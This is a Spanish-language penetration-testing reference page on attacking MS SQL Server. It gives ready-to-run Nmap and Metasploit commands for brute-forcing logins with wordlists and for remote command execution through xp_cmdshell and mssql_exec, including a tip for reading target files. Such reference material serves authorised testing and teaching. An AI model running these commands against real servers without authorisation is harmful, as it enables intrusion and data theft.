> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/servicios/mssql.md).

# MsSQL

## Fuerza Bruta

### Nmap

Podemos hacer uso de Nmap para hacerle fuerza bruta a este servicio:

```bash
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 192.168.1.1
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FZWKwnmG3U7u9EIvUXqs4%2Fimage.png?alt=media&amp;token=7fbdb86f-c6a1-4180-9b2b-a4f11585c4f2" alt=""><figcaption></figcaption></figure>

### Metasploit

Para hacer fuerza bruta usaremos los siguientes modulos:

<pre class="language-perl"><code class="lang-perl"><strong>msfconsole
</strong><strong>
</strong><strong>use auxiliary/scanner/mssql/mssql_login
</strong>
set RHOSTS 192.168.1.1

set USER_FILE /root/Desktop/wordlist/common_users.txt

set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt

set VERBOSE false

exploit
</code></pre>

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FCyxoZF3JmXPYTdtd8yAY%2Fimage.png?alt=media&amp;token=a6bfa062-0985-485b-8c2a-9cd81bde199a" alt=""><figcaption></figcaption></figure>

## RCE

### Nmap

Podemos hacer un RCE si tenemos credenciales de acceso y los permisos necesarios. Usaremos un script de nmap para ello:

{% hint style="success" %}
Podemos hacer uso del comando "type" para leer archivos de la maquina
{% endhint %}

```bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=usuario,mssql.password=contraseña,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.1
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FMcdKBTIcPts8utxZPbZZ%2Fimage.png?alt=media&amp;token=390a8ffd-5245-464a-bee5-8b648dc7fd65" alt=""><figcaption></figcaption></figure>

### Metasploit

Otra de las opciones es hacer el RCE mediante este modulo de metasploit:

```perl
msfconsole

use auxiliary/admin/mssql/mssql_exec

set RHOSTS 10.0.20.101

set CMD whoami

exploit
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FAvGAAhCodyg0J0OOaXwm%2Fimage.png?alt=media&amp;token=e641dbcf-3d68-41b2-9769-90f28c4b6cb1" alt=""><figcaption></figcaption></figure>
